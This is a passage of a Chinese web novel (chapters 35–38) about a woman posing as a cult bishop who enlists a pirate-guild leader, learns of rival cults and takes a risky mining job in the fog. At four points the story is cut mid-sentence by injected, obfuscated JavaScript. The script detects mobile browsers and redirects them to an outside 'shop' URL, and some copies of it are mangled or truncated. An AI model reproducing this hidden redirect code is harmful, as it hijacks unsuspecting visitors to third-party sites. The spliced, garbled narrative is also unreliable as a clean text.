似乎说出刚刚的劝告已经耗费了女孩全部的耐心，她看死人似的看了眼都郁，拍了拍她的肩膀，“下辈子眼睛擦亮一点。” 都郁晃了晃杯中冒着浮沫的酒，液体随着中心的小漩涡起伏，看来有不少人都知道这里是靡靡音的窝点。 “小五，我回来了！” 东识玖抱着两个文件袋匆匆下来，下巴抬起，骄傲地像是站在领奖台：“这里面装的就是你的任务，只有完成了吾神的考验，你才算真正加入我们，不过……” 她下巴抬得更高，都郁立即捧场地追问，东识玖递给都郁一个厚文件夹，指了指：“虽然你的要求完成任务后才能满足，但我知道你的情况，里面是我特意向主教大人为你申请的行动经费。” 都郁从文件夹里掏出五张面额为一万的信用点数卡，满意地点点头。虽然五百万还只是一个饼，但这些也比得上东识午十个月的工资了。 她收回点数卡，翻了翻里面的资料，都是些专业的地形图和几张分布图，忠诚地发问：“我东识午一定会完成任务——吾神需要我做什么？” 东识玖对都郁的忠诚非常满意，她示意都郁收好文件夹，从薄文件夹中抽出一张纸，推给都郁：“那里装的是你的任务资料，这，就是你的任务目标……” 都郁目光落在纸上的图画上，面上疑惑，心里微微一惊，这个不知道从哪里冒出来的邪神教会，也在找圣杯！ 那张纸上赫然画着一个造型古朴的金属杯，杯壁上还刻有都郁在圣杯碎片上见过的神秘花纹。 不知是什么人画下了这张画，明明摆在都郁面前的只是一张纸，都郁却好像已经隐隐看见了那只一臂长的古朴圣杯，甚至隐隐感知到了那杯身萦绕的神秘气息。 “这东西不能多看，你记住这样子就好。” 东识玖确定都郁记住了图画上的样子，顿时像捡起烫手山药般将图纸装回袋中，那隐隐散发出的神圣气息这才消失不见。 “你放心，我一定会努力去寻找这东西的。” 东识玖被都郁的诚恳打动，满意地点点头。神赐予了她辨识人心的能力，她能够感知到，都郁此时说的完全是她的真心话。 “好好干，现在教会正是缺人的时候，你要是真的找到了这东西，神说不定会赏赐你主教之位！” …… “扣扣扣。” 夜色已深， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13617441|139734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 月色朦胧。这里位于整个下城区的边缘，几乎能肉眼看见灰雾，极乐街上的醉汉都不会迷路到这里，此时却有人敲响了这间小诊所的门。 “谁？” 猫胡子悚然一惊，精神力已经穿过门，做好攻击的姿态。要是对方是敌人派来查探的，她在偷袭下有把握直接击晕对方。 来人穿的却不像是敌人，红色宽大T恤在沉沉夜色中，暗淡地像已干涸了的血。那张平平无奇的脸忽然露出一个笑容，似乎察觉到猫胡子的试探，八颗洁白的牙齿在月色中泛着寒光： “你好，初次见面，我是D主教。” “嘭！” 门后传来一声似乎是□□撞到金属的闷响，随后传来一阵慌乱惊疑的无意义叫喊。 都郁双手抱胸，打量眼前这家平平无奇的黑诊所，过了十几分钟，那扇门才终于打开。 门在身后闭合，发出“咔哒”一声脆响，都郁舒服地窝在会客室的懒人沙发里，脸枕在抱枕上，看着对面满脸戒备，额头不知为什么顶了一个大包的小女孩。 “……你如何证明？” 对方似乎终于从极度的震惊中摆脱，几道视线上上下下来回审视，都郁好似没有察觉，伸出手，掌心向上，一簇紫火欢快烧了一圈，依依不舍地消失。 会客室里又一阵沉默，没有什么比这个更能证明都郁身份的了。 猫胡子在沉默中坐立难安，如临大敌地开口，话说出去后自己先被声音中的沙哑吓了一跳： “不知道您今天来……需要我们做什么？” 即使在向邪神祈祷的那一天，就知道自己的灵魂、记忆、肉/体，全部的一切都不属于自己，当那位的眷属毫无征兆地知道自己的行踪，出现在自己面前时，猫胡子才悚然一惊。 被那些玩笑似的祭品压下的冰冷现实存在感强的难以忽略，她终于被强迫着抬起头正视，亲手打破粉碎太平的虚伪安定。 与虎谋皮，怎么还能心存侥幸呢？ 她视线扫过室内一众或惊讶，或沉重的脸，表情率先恢复了平静，“球球留下，其他人都去干该干的事。” 多年领导下的威势让众人下意识听从，猫胡子攥了攥掌心中的冷汗，坐直了身体，看向眼前那位坐没坐相的邪/神使者。 都郁将眼前的暗潮汹涌看在眼里，她在废土无拘无束惯了，就算能端什么大人物的架子，她也懒得去弄，她也不需要什么忠诚。 唯有利益动人心，神与人，各取所需，就是当下最适合的关系。 她身体往沙发里陷了陷，看着如临大敌的两人，嘴角勾起：“别紧张，我只是来问一个问题，想复仇吗？” “什么意思？” 女孩脸上远超年龄的沉重与戒备顿了顿，有些摸不清对方的意思。 她付出了偌大精力和心血的海盗团，如今几乎毁于一旦，她怎么能不恨，怎么能不想复仇？ 可对方找上门来说的第一件事，竟然就是复仇……她愿意帮助自己？或者说这是背后那位的意思？自己又能付出什么代价？ “你应该知道吧。” 都郁轻笑一声，没给猫胡子留太多时间怀疑猜忌，“海盗团的毁灭，不仅有绅士会的手笔，还有着财阀的影子。” 信息时代没有秘密，猫胡子海盗团的毁灭在下城区算是一大热点新闻，连没有多少时间娱乐的东识午都有所耳闻。 结合明面上的信息，再加上从猫胡子这里得来的，都郁不难推断出海盗团的毁灭不仅仅是黑/帮火并这么严重。 猫胡子放在膝盖上的手攥成拳，手背青筋凸起一瞬，眼前这位D主教说的，她当然知道，她甚至知道的更多。 不然她也不会回来的第一件事是隐忍，而不是凭借A级异能者的实力去找光头会那群光头的麻烦。 下城区里猎人工会里数得上名的就是她们海盗团，光头会那群光头、黑鹰那群神棍三个。海盗团规模虽然是最小的，但实力并不弱。 要不是顾忌着支持那群光头的财阀，她怎么会容忍那些人到现在？ 都郁将她的表现看在眼里，“我们的目标是一样的，我们有共同的敌人，不是吗？” “……我需要付出什么代价？” 猫胡子缓缓低下头，她承认，面对邪/神的引诱，她动摇了。回来的这几天，每天晚上梦中都会出现熟悉的脸，她岂能不恨？就算这代价要把她折进去…… “不不不，别这么说。” 都郁摇摇头，放下手中抱枕，难得坐直了身体，“你们刚刚投入到主的怀抱，还未曾聆听过主的教诲。什么代价的，我们不兴这一套。” 猫胡子瞪大眼，看着对面自称D主教的中年女人神情不似作假，说出了更匪夷所思的话： “献上代价，等待神的许诺，这样的形式太落后了！你不妨把这看成一场交易。神会将你想要的标上价格，你买得起就买，不想买就下次再说，买卖不成仁义在嘛。” 即使是一向冷静自持的闻人秋都被对方的话惊了一下，这番言论放在邪/教徒中都算是亵渎之言。 把神的赐予和任务看做是交易，那把神看做什么了？可以阳奉阴违，摊派下来任务可以摸鱼的公司老板吗？ 这个人真的是在传教吗？她到底知不知道自己在说什么？ “把你们都变成对神明言听计从的奴隶，那对神有什么好处？” 对方似乎察觉到自己心中的疑惑，摇了摇头，“奴隶还要负责他们的吃喝拉撒，员工要负责的就简单多了……都新历第301年了，该搞点资本主义了。” 猫胡子被对方的胡言乱语惊得心脏砰砰直跳，与之升起的则是隐秘的希冀，她稳了稳心神，试探着开口询问：“如果，我想要让光……绅士会覆灭，需要付出什么？” 对面的女人露出鱼儿上钩一样的表情，平凡的眼睛里似乎有紫火在燃烧，她打了个响指，露出赞许的表情： “这才对嘛。” 36. 势力分布 第三十六章 “那么就先从一个简单的问题开始好了……关于福伦萨码头，你们知道多少？” “这……” 对面的女人非常慵懒地窝在沙发里，小口啜饮沈奚静送来的热可可，看上去非常人畜无害，猫胡子却不敢看轻她，斟酌着措辞： “二十年前我在福伦萨码头为驻地，建立了海盗团，主教你想知道哪方面的信息？” 06号城区，也就是下城区，是逐日之城六个城市中面积最大的，也是唯一一个面积在缩小的城区。 二十年前，福伦萨码头正好是下城区边缘。虽然不知道为什么陆地上要叫码头，猫胡子选择了这里注册了猎人工会，并顺带着在城市里起了个海盗团的名字。 二十年过去，当初的小工会成长为下城屈指可数的大公会，又一天内被抢了驻地，死伤惨重，福伦萨码头也由城市范围内进入了灰雾范围。 猎人工会的驻地或多或少都有这类情况，即使灰雾之中危险重重，但所谓高风险高收益，也只有这种灰雾驻地才可能产出足够高的收益，满足刀口舔血的迷雾猎人们的高消费。 “你们团在码头每年的收益如何？” 猫胡子一愣，码头离城市太近，在团内的象征意义大于经济利益，有时还当个中转站，她回忆了片刻才说出一个数字。 不高也不低，一些小工会的驻地也能有同水平收益。猫胡子有些搞不懂都郁问这个问题的用意，对面的女人笑了笑，从随身的包里抽出一张纸，扔到桌子上。 “你们在福伦萨码头经营了二十年，难道就没发现那附近有条矿脉吗？” “什么？” 这次忍不住开口的是一旁的闻人秋，她是海盗团的后勤负责人，比起主要负责战斗的猫胡子更熟悉团内的各大据点。因此对都郁的话反应比猫胡子更大。 但当她抓起桌上的纸，一向冷静的闻人秋都忍不住开始怀疑自己，如果手中的信息是真的，难道福伦萨码头附近真的有矿脉？ 猫胡子瞥了眼失态的闻人秋，踩了个矮凳，努力探头去看纸上的内容。 纸上是一份煞有其事的矿产开采计划书，看周围环境正是福伦萨码头附近！ “怎么会……” 猫胡子眼睛瞪大一瞬，看清计划书的落款，像是想通什么，喃喃开口： “难怪，五个明面上在灰雾中的据点，那群光头抢走后只重建了码头，不许我们靠近我还以为他只是单纯地想羞辱我……” “可这也说不通啊。” 猫胡子烦躁地揪了揪脸颊两边的刘海，心中的不解更加扩大： 她们海盗团虽然一直和绅士会的光头们有摩擦，但很显然没到你死我活的地步，她一直想不通绅士会偷袭她们的理由是什么。 如今理由——福伦萨码头附近的矿脉出现了，她更是不解。能出现在灰雾里的矿，大多是用在超凡领域的，价值比普通的矿石高出许多。 可她们竟然在那驻扎的二十年间都没发现这条矿脉，就说明这矿的规模根本不大，绅士会的人要真的想要，跟她谈也不是不行，怎么就直接到了你死我活的地步了？ 要知道，她们虽然损失惨重，那群光头们也没多好受，听说被黑鹰趁机抢了不少地盘，那光头失心疯了，连这么简单的买卖都不会做？ 闻人秋从震惊中回神，眉毛下压，眼睛微微眯起，“不可能，光头奎不是这样的人，福伦萨码头一定有问题。” “这就是你们接下来的任务了。” 都郁将她们脸上的疑惑看在眼中，放下马克杯，悠悠开口。 那张纸自然就是红灯酒吧里东识玖递给她的，她认出福伦萨码头后，愉快地决定把任务外包出去。 侦查福伦萨码头的异常，下城区有谁比得上在那驻扎了二十多年的猫胡子海盗团？ 都郁甚至都不用付太多报酬，为了复仇她们做事的主观能动性可高的很。 “D主教，你也对码头有兴趣？” 猫胡子听出了都郁的言外之意，攥着计划书的手指一紧，试探着开口。 都郁眼珠下移，意犹未尽地看了眼空马克杯，闻人秋当即领会，让沈奚静又泡了一杯过来。 都郁满意地喝了口香甜的热可可，面对两人的试探抛出了一个看似不着边的话题：“你们对下城区的邪/教徒有什么了解？” 在下城区，逐日之城的治安官们可以对任何违法行为视而不见，都不可能放过任何一个邪/教徒，邪/教相关的话题更是被严密封锁。 不管是原身还是东识午脑海中对此都没有太多印象，都郁思来想去，决定来问问和邪/教徒、赌场并称为下城区三大毒瘤的猎人工会（黑/帮）对邪/教徒的看法。 果然，她的选择是对的。面对自己的突兀提问，猫胡子沉吟了一瞬。这反应不像是为难，反而像是信息太多，一时不知道该怎么组织语言。 “唔，这个要说起来，那可就太多了，方面的话你留个地址，我让球球写个报告给你。” 猫胡子看了眼一旁的闻人秋，视线转回，摸了摸下巴，“如果要我说，虽然那群老鼠四处闹得欢，但整个下城区，值得注意的邪/教一共有三个……当然，不包括那位伟大的存在。” 猫胡子见都郁点点头，没计较她的失言，松了口气，继续说道：“第一个，也是目前下城区最活跃的，是【新日】教会。” 猫胡子在“新日”两个字间顿了好久，似乎是怕直接说出这两个字会引起某些存在的注意，“他们主张暴力、爆炸和纷乱，有传言说那群愤怒鸟……咳，猎人工会黑鹰背后就是他们的支持。” “他们的教义很奇怪。他们认为，太阳在大灾变前已经死去，现在挂在天上的不过是未知生物的残骸，称现在的太阳为【旧日】，认为正是【旧日】的照耀才带来了经久不散的灰雾。所以他们决心要用爆炸和纷乱的形式，让逐日之城升起一轮新的太阳。” 都郁眼珠动了动，这个【新日】教会，有点意思。他们的主张虽然听上去荒诞，但自有一番逻辑在，和都郁印象中的邪/教大相径庭。 闻人秋听到这，厌烦地皱了皱眉，补充了一句：“所以这群爆炸狂在治安厅和管理处的悬赏金额是最高的，我们捉了不少，可惜……只要是重要成员，都会在被捕的第二天在监狱里自爆。” 猫胡子也厌恶地撇撇嘴，显然，这群爆炸狂给她们带来的损失不少。 她回忆了片刻，接着说道：“接下来的这个则是邪/教徒里最神秘的那批，【海洋研究所】。” “【海洋研究中心】？” 都郁有些惊讶地复述这个根本不像邪/神教会的名字，眼里闪过几丝兴趣。 猫胡子点点头，“他们虽然也疯，但和【新日】的那群爆炸狂比起来是不一样的疯。他们似乎真的在寻找海洋，对城市的兴趣不大，我上一次遇见他们，还是十年前在福伦萨码头。” 说到这，猫胡子顿了顿，似乎也没想到，这事又把码头牵扯了进去，都郁却不惊奇。 在大陆腹地的逐日之城，竟然会有码头这种建筑，本就是一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13627802|139734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 件怪事。这码头会和更怪的邪/教徒组织【海洋研究中心】扯上关系，那就更是意料之外，情理之中了。 猫胡子挠了挠下巴，回忆了片刻：“对于他们的主张，我了解的不多，我只知道他们信奉的那位是【净海领主】，教义是很奇怪的一句话。” 她有些不确定地歪了歪头，一字一顿地将那句话复述了出来，声音说到最后变得有几分古怪： “人是一条不洁的河。要能容纳不洁的河流而不致污浊，人必须是大海。”【注】 人必须是大海…… 都郁将这句意味莫名的话咀嚼了几遍，隐隐有所得，新的问题又冒了出来：“既然他们对城市兴趣不大，为什么这个【海洋研究中心】能排进邪/教徒组织的前三名？” “这个排名不是我排的，这个排名不知道什么时候就已经在迷雾猎人里面流传了。” 猫胡子托了托下巴，似乎也觉得有些奇怪，眼珠转了转：“可能有两个原因吧，首先是这个研究中心活得久，能挺过治安管理所打击的留下来的，都有几把刷子。” “另一个么……” 猫胡子挠挠头，“可能是那位的排名高吧。虽然那群爆炸狂很能拉仇恨，但是海洋研究中心的那位主任，十几年间一直是议会悬赏榜里悬赏金额最高的。” 靠悬赏金额判断实力吗？倒也有几分道理。毕竟实力弱的，都被拿去换奖金了。 “至于最后一位——” 猫胡子说到这里来顿了顿，闻人秋顾不得深夜，将会客厅的灯全部打开。 不止如此，侧门打开，沈奚静等人又陆续搬进来几盏台灯、落地灯，就连猫胡子面前的桌子上都摆了三根蜡烛，屋内瞬间亮如白昼，光线强的都有点刺眼。 猫胡子这才开口，声音压得很低，“这最后一位么，其实就在你我身边。” 都郁挑挑眉，对上猫胡子的暗示：“灰雾？” “没错。” 猫胡子声音压得更低，如果不是在座的都是异能者，恐怕没有人能听得清她说话： “他们就是【万物终亡会】，信奉的不是什么神明，正是逐日之城外的灰雾。他们认为灰雾中存在着一位神秘伟大的存在。在灰雾面前，人类不过是苟延残喘，没必要挣扎，静静地等待毁灭即可。” 【万物终亡会】一词一出，明亮的室内顿时昏暗起来，密闭的空间里奇异地刮起阴风，烛火疯狂晃动几近熄灭。 猫胡子谨慎地盯着蜡烛，等室内光线明亮如初，阴风消失，蜡烛恢复正常后才松了口气，继续说道： “虽然邪/教徒都是一群疯子，可他们都是其中最疯的，他们还真的从雾中链接到了什么。如果说到他们名字时周围没有足够的光亮，就会被他们标记，在梦中拉到灰雾中。” 说到这，即使四周恢复了正常，猫胡子也一脸心有余悸，呼出一口气，“他们不怎么活跃，但一旦出手，干的都是大事。这几年灰雾对城市的侵蚀越来越快了，有人说背后就有他们的手笔。” 【新日】、【海洋研究中心】、【万物终亡会】，都郁将三个邪/教徒组织的名字在心里念了一波，有了这些情报，这一波就不算白来。 嘱托两人帮忙搜集【靡靡音】的信息后，都郁起身告辞，话题回到了刚刚。 踩着破旧拖鞋的女人双手插兜，没什么记忆点的平凡面孔隐没在黑暗里，只听见她轻笑了一声： “你们放心，我的行动不会影响你们的复仇，我让你们去查，只是因为……有人敢肖想不属于他们的东西。” 37. 选择 第三十七章 灰蒙蒙的天空被劈开一道缝隙，太阳准时自城市西边升起。 “嗡——”的一声，都郁压低身体，车身在空地上画出漂亮的弧线，停在了大楼门口的空地前。 都郁抱着头盔跳下车，使劲跺了跺脚，血液回流，耳边犹自能听见心脏“咚咚”狂跳的声音，这具身体显然没有尝试过飙车这么刺激的活动。 可能这就是在下城区上班的唯一优点了，大早晨的路上一辆车都没有，都郁的速度堪堪卡在超速线之前，骑了半小时缓解了几分飙车的瘾。 她一向喜欢骑车，现在难得有了条件，要不是顾忌着手头的任务和公司还有点关系，才半小时她是不会停下来的。 “滴——面部识别成功，D3级员工东识午，欢迎您的到来，今天也是活力满满的一天哦。” 扫脸进入公司，光脑自动连入蓝格公司推出的新型办公助理人工智能，AI卡帕，常用的皮肤是蹲在打卡处的白色Q版章鱼，它的八条触须上颗粒凸起，构成一道道蓝色的格纹样花纹。 都郁好奇地瞅了眼，要不是公司里明文规定不许触摸打卡处的章鱼，她高地要摸一摸章鱼圆溜溜的脑壳。 “您的车辆已帮您停到相应区域，这是您第一次乘坐该交通工具通勤，已将停车位置发送到您的个人终端。” 随着停车图一起发来的，还有今天变更了的工作计划。和以往满的恨不能溢出来的计划表不同，今天东识午只有一项工作——去卜经理办公室面谈。 卜曼吟，东识午的上层领导，也是蓝格下城区分公司生产部的副经理。和东识午年龄相仿，职位却已经高了她不止一级。 同样是来到下城区的分公司，东识午属于是被下放的那一批，肉眼可见的前途无光；卜曼吟则是来分公司镀金，只待年末报告一出，就能立刻升回总部。 相关信息在脑内滚了一圈，都郁走出电梯，在一间挂了名牌的专属办公室门前止步，屈指敲了敲，很快听到了一声“请进”。 光脑亮起，卜曼吟似乎正在和什么人通话，只给了她一个稍等的眼神。都郁顺手拉开一张椅子，不动声色地打量这间办公室。 先不说地理位置，光是面积，这间只为了一个人办公的房间是东识午公寓的四五倍大，装潢简约却不失格调，萦绕着淡淡的酒香。 公司禁止工作时饮酒，都郁知道这是卜曼吟喷的香水。月光琥珀与三叶薄荷的味道与红葡萄酒的酒香混杂在一起，闻多了不但没有酒的微醺，反而让人肌肉舒缓，神清气爽。 卜曼吟刚空降过来时，东识午不懂，还以为这位关系户工作时饮酒，又一次卜曼吟随手送了她一个小样，她拍照搜出了上面的商标，看到了买家写的评论，这才算认识了这款香水。 这香水不仅产量稀少，因为还可以缓解精神力过载时的头部抽痛，向来供不应求，一瓶差不多是东识午两三年的工资。卜曼吟送她的小样她舍不得用，搀着致幻剂一起喝了，没尝出来味道。 对面的问题似乎有些严重，卜曼吟皱着眉听，略带歉意地冲都郁点点头，俯身给她倒了一杯茶。 卜曼吟开了隐私保护，都郁听不见她说什么。她靠近的瞬间发丝溢出耳侧，粉白的珍珠亮得犹如一滴热泪，白皙手指一拢碎发，那滴泪就盈盈挂在她的耳珠。 要落不落，半晃不晃，在倏然浓郁又渐渐稀薄的香气里近在咫尺又遥不可及，看的人心里恍然一空。 卜曼吟似乎与对面意见不一致，嘴唇微抿，抬手揉捏着那抹粉泪，侧脸线条清晰干净。 东识午见过的上城区人中，尽管掩饰的很好，总能从他们优越的五官和抬起的下巴中看出几分傲慢和掌控欲。 卜曼吟却不同，她五官柔和，总是在笑，笑时眼睛消失，两颊两边的肉也消失一小块。东识午有时都怀疑她身上经年不散的酒香是从她酒窝里散发出来的，都说借酒消愁，有那对总是盈满酒意的酒窝在，卜曼吟这一生还会有什么烦恼呢？ 都郁犹如旁观者般看着心里积蓄起莫名的酸涩，因为找不到发泄的位置堵在胸口，不上难下。 都郁虽然得到了东识午大部分的记忆，但都是从旁观者的视角观看，无法像亲历者那样产生强烈的共鸣。 此时心尖堆积的酸涩，也不过是身体里残留的灵性产生的，来得快去得快，都郁走神的功夫，那股莫名的情绪就已经淡去。 “抱歉，让你久等了。” 卜曼吟关掉通讯，眼中怒气未散，脸上却熟练地挂上了笑容，甚至开了个小玩笑：“听卡帕说你今天是骑机车来的，这可不像你的风格啊，学妹。” 都郁深深地看了她一眼。卜曼吟和东识午同岁，入学年份却比她早得多。东识午还在为期末考试痛苦时，卜曼吟就已经和教授共同推出专利，作为优秀学生代表参与了议会的选举中。 两人在学校里没有交集，在公司里才相识，卜曼吟也只在开玩笑的时候会叫她一声学妹。但东识午大学时的痛苦，可以说一小半都来自她。 当你在痛苦中苦苦挣扎时，有个人轻而易举地、如同捻起一粒石子般就能搬走你十世都搬不走的山，东识午面对卜曼吟只是心情复杂，也算是心态不错了。 “人总是会变的。” 都郁轻轻带过那句“学妹”，喝了口茶被苦到，不动声色地放下茶杯：“卜经理，我今天的工作是什么？” 都郁不提还好，她一开口，卜曼吟松开了眉头又皱了起来，右手攥着左手，沉吟了片刻： “你的工作我之后再安排，你一会儿会受到一份灰雾里工作，你不用管，我会跟总部继续商讨的，你不是侵蚀者，这份工作对你来说太危险了……” 刚刚卜曼吟竟然是为了东识午在跟总部争吵，谈话间，都郁瞥了眼卡帕新发来的工作计划，一目十行地浏览过去： “不用了，这份工作我接下了。” “什么……” 卜曼吟惊讶的疑问刚挤出喉咙，眼看着都郁点了一下，光脑同步传来了一份签了字的风险知晓同意书，眼睁睁看着这份文件以不合常理的审批速度快速通过，等她抬手时已经上传到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13651272|139734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了总部。 “你知不知道灰雾里有多危险？” “卜经理，其实有的人是没有选择的。” 刚刚的工作计划都郁没有细看，但已经能看出，那是针对福伦萨码头矿石开采的，就在那群【靡靡音】的教徒将资料送在她手上的第二天！ 先不说都郁本来就想调查，即使站在这里的是东识午，她能拒绝邪/教徒和总部的双重压力吗？ 卜曼吟有和总部争辩的权力，东识午没有。 “我说了，我会帮你……” “谢谢你，卜学姐，你对我很好。” 都郁站起身，冲她笑了笑，感受着东识午残存灵性里的情绪，看向那双眼睛：“但你对所有人都很好。” 卜曼吟愣在原地，不知为何觉得东识午的背影无比陌生，有一瞬她几乎忘了自己身在何处。被揭穿了般的愤怒本能地增生而出，又被理智死死按住，都郁的话犹如冬日里的冰水，冷冷地泼在她的脸上。 扪心自问，她真的不知道为什么总部选了东识午吗？没人脉、没资历、受限于合同只能依附公司，除了她，自己还能派谁去？ 自己是对这个干活很利索的学妹有好感，也想过要不要给她转正，甚至带她回总部，可她还在选择的时候，东识午已经没了选择。 ……或者，她真的有选择吗？ “卡帕。” 卜曼吟怔怔地坐在椅中，突然唤了一声。天花板角落里的摄像头转了转，被刻意调整成温柔声调的响起： “A4级员工卜曼吟，随时为您服务。” “……我越来越看不懂公司的决策了，明明是夸克丢了东西，我们为什么要掺进去？” “权限不足，无法解答；权限不足……转接M1级管理员卜昭海的通讯：该任务涉及‘逐日计划’，直接由核心AI发布，‘我很庆幸，你没有愚蠢到以卵击石’，转播结束。” 摄像头对准呆坐着的卜曼吟，女人忽的弓起身，大口大口喘息，脸颊埋在掌心，耳边的粉珍珠耳坠如一滴在眼睑上颤动的热泪，在晃动的发丝间碎碎的闪着光。 “未检测到指令，本次服务结束。” …… 都郁在一众同事或欣喜，或发呆的眼神里收拾好东西，抱着一个小牛皮纸箱离开了工位。 “十五，你不回来了？” 有人迟疑地叫了一声，都郁颠了颠箱子，印着“东识午”三字的工牌滑入缝隙，消失在众多杂物之中。 “不回来了。” …… 灰雾如潮水般不断涌动，文明的产物在漫天的灰色里显得暗淡无光，一贯死寂的氛围，却被奇怪的动静声打破。 “呼，就是这里了。” 许寻源两手举过头顶，凝重地蹲在墙后观察眼前的建筑，几队巡逻的人不断经过，甚至有人曾离她的距离不到一米，却愣是没有人能发现她。 她记住了眼前仓库的位置，正准备行动，肩膀上突然多了一只手，一道声音幽幽从背后传出： “挖矿了解一下？” 38. 矿场 第三十八章 许寻源被吓得差点喊出声，魔法幕布险些撑不住，幸好她转头看见了熟悉的脸，这才没暴露在敌人大本营： “D主教，你怎么在这里？” “你的特质挺有意思的。” 都郁蹲在许寻源身后，好奇地摸了摸头顶的半透明光幕，“连声音都能屏蔽。” “声音太大了不行。” 许寻源拍拍胸口，给都郁简单解释了一下自己特质【三手魔术师】。 一个不仅能在失业时可以在街头表演魔术谋生，还可以用魔术的手法变假为真，欺骗敌人感官的实用能力。 “我精神力等级太低，目前只能变一些小戏法。” 许寻源被都郁夸得讪笑了一声，不好意思地补充了一句：“而且现在……已经快没有魔术师这个行业了。” “为什么？” “因为魔术就是要你知道它是假的，但你发现不了它是怎么作假的，这样才有趣。魔术一旦变成真的，就会失去吸引力。比起把一个活人变消失，现在的观众更喜欢看把一个活人分尸。” 许寻源说到这里，苦笑了一声，摇了摇头，“至于异能……如果可以选的话，谁会不选攻击能力，去选一个没什么用的辅助能力。” “特质是一个人心底最深的渴望，如果你真的这样想的话，就不会觉醒出这个能力……别出来。” 许寻源一怔，都郁豁然起身，从墙角走了出去，眼前一队巡逻的光头正好从门口走出！ 许寻源惊的下意识抓她，手一空，急得下一秒就要起身，听见她句尾最后三个字时顿了一下，犹豫间那巡逻队已然看见了都郁！ 敢这么出去至少战斗力应该很强吧……最讨厌这种喜欢乱来的队友。 许寻源压抑心头冒出来的火气，在她紧张的注视中，那群光头诧异地看着突然冒出的都郁，疑惑地拦住她，怀疑的目光上下扫射，后排的几个光头甚至枪都已经举了起来，然后—— 被那个神经D主教骂了一遍？ 许寻源呼吸一窒，信仰邪神的脑子都不太正常，对方能做出这样的举动她竟然一点也不意外，但这可是敌人的大本营！ 打起来高阶异能者出场，识破她的伪装了怎么办？她又不是那个不怕死的疯子！ 然而在她紧张到呼吸都停住时，被骂的光头脸上浮现出怒气，额头暴起的青筋没有头发遮掩一览无余，他却硬生生忍了回去。 许寻源总是习惯性半闭的眼前睁到最大，眼底写满问号。 光头会这群家伙，虽然起了个“绅士”的名头，穿的也假模假样的，可光看他们的战斗风格都能看出来他们脾气并不好。 下城区冒出的大规模械斗中，平均每五起中有四起都有他们的身影。现在那个光头被骂到头上了，竟然忍了下来？ 许寻源费解地盯着都郁的背影。比起昨夜突然上门，她今天倒是穿的像样了一点，但也只有一点。 一件从背面看就觉得皱皱巴巴的衬衫，衣角被随意地塞到工装裤里。一双半旧不新的马丁靴，不知刚刚踩了哪里，鞋面上溅了暗红色斑点。 都郁好像没看见光头脸上强忍的怒色，撇了撇嘴，“你们就是这么做事的？我都到这里了，一个接应的都没有？灰雾里有多危险你们不知道吗？” 一个光头忍不住回嘴：“我们派出去接你的人已经派了三波了，谁知道你怎么进来的？你这种公司的狗不是最喜欢偷窥了吗？” “你的意思是我错了？这就是你们绅士会的合作态度？” “好了！” 领队的光头制止了下属，但也没训斥他。上下打量了一番都郁，本该是眉毛的地方肌肉动了动，滑稽的同时多了几分诡异： “都别吵了，跟我来！隆老大已经等了你很久了！就算你是蓝格派来的，我劝你最好怂一点，不然公司都保不住你！” 没有眉毛的光头转身带路，最后一句带着怒气的话隐隐带着威胁。按理说强龙压不倒地头蛇，但奈何眼前的根本不是常人。 都郁冷笑一声：“公司把我派到这鬼地方，就没想着保我！” 能参与公司高密任务的，要么是各位大老板小老板从小培养出的心腹，经过多重洗脑能将秘密烂在肚子里；要么就是堪称次抛的炮灰，毕竟某种意义上，死人比心腹更值得信赖。 蓝格公司将东识午派到这里来，就没做好她活着回来的准备。 话随如此，人都是喜欢自欺欺人的，没谁能像都郁这样理直气壮地说出来，领队的光头眼中的怒气都是一滞，终于明白了对方态度的由来。 算了算了，正常人没必要去招惹这种临死的疯子。 都郁一手插兜，一手拎着公司发的保险箱，在经过层层关卡后，停在了一栋三层小楼前。小楼装了非常严密的安保系统，尽管经过粉饰，依旧能看出炮弹轰炸过的痕迹。 “稍等。” 领队光头示意下属继续去巡逻，自己在楼前的门禁上点了几下，似乎在等什么人回话。 都郁将保险箱拎到身前，耳朵动了动，似乎听到了什么，眯眼看向远处突然冒起黑烟的大型建筑：“那是什么？” “那里？” 光头不知道想起了什么，魁梧的身体抖了抖，像是怕惊扰了什么似的匆匆收回视线，楼前感应门适时开启，他带着都郁进去，声音低沉含糊：“你迟早都要去看的，那里是矿场。” 那个凭空冒出的矿场？ 都郁把这个名字在心里过了一遍，跟着穿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 